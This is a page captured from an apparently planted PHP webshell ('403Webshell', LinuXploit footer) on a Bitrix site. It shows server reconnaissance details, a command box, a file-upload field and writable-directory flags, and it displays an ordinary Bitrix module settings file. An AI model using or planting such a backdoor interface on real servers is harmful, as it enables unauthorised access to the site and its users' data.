403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/mcart.xls/lib/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/mcart.xls/lib/moduleoptions.php
<?php

namespace Mcart\Xls;

use Bitrix\Iblock\IblockTable;
use Bitrix\Iblock\TypeLanguageTable as IblockTypeLanguageTable;
use Bitrix\Main\Application;
use Bitrix\Main\Localization\Loc;
use CGroup;
use COption;
use Mcart\Xls\Helpers\Html;
use Mcart\Xls\McartXls;
use Mcart\Xls\ORM\ProfileTable;
use const LANGUAGE_ID;

Loc::loadMessages(__FILE__);

final class ModuleOptions {
    const OPTION_PREF = 'PROFILE__';
    const REQUEST_PREF = 'MCART_XLS__';
    private $entityProfile;
    private $arIBlocksByTypes = [];
    private $arIBlockTypeByIBlock = [];
    private $arUsersGroups = [];
    private static $arOptions = [
        'USERS_GROUPS' => [
            'FIELD' => 'USERS_GROUPS',
            'TYPE' => 'select',
            'MULTIPLE' => 'multiple'
        ],
        'IBLOCK_ID' => [
            'FIELD' => 'IBLOCK_ID',
            'TYPE' => 'select_iblock',
        ],
        'QUANTITY_ELEMENTS_IMPORTED_PER_STEP' => [
            'FIELD' => 'QUANTITY_ELEMENTS_IMPORTED_PER_STEP',
            'TYPE' => 'text',
            'SIZE' => 10
        ],
        'ONLY_UPDATE' => [
            'FIELD' => 'ONLY_UPDATE',
            'TYPE' => 'boolean',
        ],
        'DEACTIVATE_IF_NEW' => [
            'FIELD' => 'DEACTIVATE_IF_NEW',
            'TYPE' => 'boolean',
        ],
        'DEACTIVATE_IF_QUANTITY_0' => [
            'FIELD' => 'DEACTIVATE_IF_QUANTITY_0',
            'TYPE' => 'boolean',
        ],
        'DEACTIVATE_IF_PRICE_0' => [
            'FIELD' => 'DEACTIVATE_IF_PRICE_0',
            'TYPE' => 'boolean',
        ],
        'ACTIVATE_IF_QUANTITY_AND_PRICE_NOT_0' => [
            'FIELD' => 'ACTIVATE_IF_QUANTITY_AND_PRICE_NOT_0',
            'TYPE' => 'boolean',
        ],
        'END_ROW' => [
            'FIELD' => 'END_ROW',
            'TYPE' => 'text',
            'SIZE' => 10,
            'TOOLTIP_KEY' => 'MCART_XLS__PROFILE__END_ROW_TOOLTIP'
        ],
    ];

    /**
     * @var \Bitrix\Main\HttpRequest
     */
    private $obRequest;

    public static function getOptions() {
        return ModuleOptions::$arOptions;
    }

    public function __construct() {
        global $APPLICATION;

        $this->entityProfile = ProfileTable::getEntity();
        $context = Application::getInstance()->getContext();
        $this->obRequest = $context->getRequest();
        $module_id = McartXls::getModuleID();
        if ($this->obRequest->getQuery('RestoreDefaults') === 'Y' && check_bitrix_sessid()){
            COption::RemoveOption($module_id);
            $rsGroups = CGroup::GetList($by="id", $order="asc", array("ACTIVE" => "Y", "ADMIN" => "N"));
            while($arGroup = $rsGroups->Fetch()){
                $APPLICATION->DelGroupRight($module_id, array($arGroup["ID"]));
            }
            LocalRedirect($APPLICATION->GetCurPage().'?lang='.LANGUAGE_ID.'&mid='.$module_id);
        }
        if($this->obRequest->isPost() && check_bitrix_sessid() && $this->obRequest->getPost('Update') === 'Y') {
            $pref = ModuleOptions::REQUEST_PREF.ModuleOptions::OPTION_PREF;
            foreach (ModuleOptions::$arOptions as $arOption) {
                $VALUE = $this->obRequest->getPost($pref.$arOption['FIELD']);
                if($arOption['FIELD']=='MULTIPLE' && is_array($VALUE)){
                    $VALUE = implode(',', $VALUE);
                    foreach ($VALUE as $k => $v) {
                        if($k == 0 || $k == ''){
                            unset($VALUE[$k]);
                        }
                    }
                }
                COption::SetOptionString($module_id, ModuleOptions::OPTION_PREF.$arOption['FIELD'], $VALUE);
            }
            ob_start();
            $REQUEST_METHOD = $this->obRequest->getRequestMethod();
            $Update = $this->obRequest->getPost('Update');
            $GROUPS = $this->obRequest->getPost('GROUPS');
            $RIGHTS = $this->obRequest->getPost('RIGHTS');
            $SITES = $this->obRequest->getPost('SITES');
            require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/admin/group_rights.php");
            ob_end_clean();
            LocalRedirect($APPLICATION->GetCurPage().'?lang='.LANGUAGE_ID.'&mid='.$module_id);
        }

        $dbResult = IblockTypeLanguageTable::getList([
            'select' => ['IBLOCK_TYPE_ID', 'NAME'],
            'filter' => ['LANGUAGE_ID' => LANGUAGE_ID],
            'order' => ['NAME' => 'ASC']
        ]);
        while ($arItem = $dbResult->fetch()) {
            $this->arIBlocksByTypes[$arItem['IBLOCK_TYPE_ID']]['IBLOCK_TYPE_ID'] = $arItem['IBLOCK_TYPE_ID'];
            $this->arIBlocksByTypes[$arItem['IBLOCK_TYPE_ID']]['IBLOCK_TYPE_NAME'] = $arItem['NAME'];
        }
        $dbResult = IblockTable::getList([
            'select' => ['ID', 'IBLOCK_TYPE_ID', 'NAME'],
            'filter' => ['ACTIVE' => 'Y'],
            'order' => ['NAME' => 'ASC']
        ]);
        while ($arItem = $dbResult->fetch()) {
            $this->arIBlocksByTypes[$arItem['IBLOCK_TYPE_ID']]['IBlocks'][] = $arItem;
            $this->arIBlockTypeByIBlock[$arItem['ID']] = $arItem['IBLOCK_TYPE_ID'];
        }

        $this->arUsersGroups[0] = ['ID' => 0, 'NAME' => ' '];
        $rsGroups = CGroup::GetList($by="dropdown", $order="asc", Array("ACTIVE" => "Y"));
        while ($arGroup = $rsGroups->Fetch()){
            $this->arUsersGroups[$arGroup["ID"]] = ['ID' => $arGroup["ID"], 'NAME' => '['.$arGroup["ID"].'] '.$arGroup["NAME"]];
        }
    }

    public function show() {
        $obHtml = new Html();
        $pref = ModuleOptions::REQUEST_PREF.ModuleOptions::OPTION_PREF;
        $module_id = McartXls::getModuleID();

        $FIELD = 'USERS_GROUPS';
        $VALUES = [];
        $value = COption::GetOptionString($module_id, ModuleOptions::OPTION_PREF.$FIELD);
        if (!empty($value)) {
            $VALUES = explode(',', $value);
        }
        if (empty($VALUES)) {
            $VALUES = [0];
        }
        echo $obHtml->getRowInput(
            Loc::getMessage($pref.$FIELD),
            Loc::getMessage($pref.$FIELD.'_TOOLTIP'),
            false,
            'select',
            [
                'name' => $pref.$FIELD,
                'selected' => $VALUES,
                'options' => $this->arUsersGroups,
                'options_as_key_value' => false,
                'option_key_for_value' => 'ID',
                'option_key_for_name' => 'NAME',
                'multiple' => 'multiple'
            ],
            ['width' => '40%', 'style' => 'border-bottom: 1px solid #c4ced2;'],
            ['width' => '60%', 'style' => 'border-bottom: 1px solid #c4ced2;']
        );

        foreach (ModuleOptions::$arOptions as $arOption) {
            if($arOption['FIELD']=='USERS_GROUPS'){
                continue;
            }
            if($arOption['TYPE']=='select_iblock'){
                $IBLOCK_ID = COption::GetOptionString($module_id, ModuleOptions::OPTION_PREF.$arOption['FIELD']);
                $inputOptions = [
                    'arIBlocksByTypes' => $this->arIBlocksByTypes,
                    'iblock_type_id' => ['name' => $pref.'IBLOCK_TYPE_ID', 'selected' => $this->arIBlockTypeByIBlock[$IBLOCK_ID]],
                    'iblock_id' => ['name' => $pref.$arOption['FIELD'], 'selected' => $IBLOCK_ID],
                    'selectorJquery' => '#mcart_xls_settings',
                ];
                echo $obHtml->getRowInput(
                    $this->getProfileFieldTitle($arOption['FIELD']),
                    (empty($arOption['TOOLTIP_KEY'])? '' : Loc::getMessage($arOption['TOOLTIP_KEY'])),
                    false,
                    $arOption['TYPE'],
                    $inputOptions
                );
                continue;
            }
            $inputOptions = [
                'name'=> $pref.$arOption['FIELD'],
                'value'=> COption::GetOptionString($module_id, ModuleOptions::OPTION_PREF.$arOption['FIELD'])
            ];
            if($arOption['SIZE'] > 0){
                $inputOptions['size'] = $arOption['SIZE'];
            }
            echo $obHtml->getRowInput(
                $this->getProfileFieldTitle($arOption['FIELD']),
                (empty($arOption['TOOLTIP_KEY'])? '' : Loc::getMessage($arOption['TOOLTIP_KEY'])),
                false,
                $arOption['TYPE'],
                $inputOptions
            );
        }
    }

    public function getEntityProfile() {
        return $this->entityProfile;
    }

    public function getProfileFieldTitle($FIELD) {
        return $this->entityProfile->getField($FIELD)->getTitle();
    }

    public function getProfileFieldDefaultValue($FIELD) {
        return $this->entityProfile->getField($FIELD)->getDefaultValue();
    }

    public function getProfileFieldValues($FIELD) {
        $ar = $this->entityProfile->getField($FIELD)->getValues();
        return (is_array($ar)? array_flip($ar) : []);
    }

    public function getProfileColumnFieldValues($FIELD) {
        $ar = $this->entityProfileColumn->getField($FIELD)->getValues();
        return (is_array($ar)? array_flip($ar) : []);
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit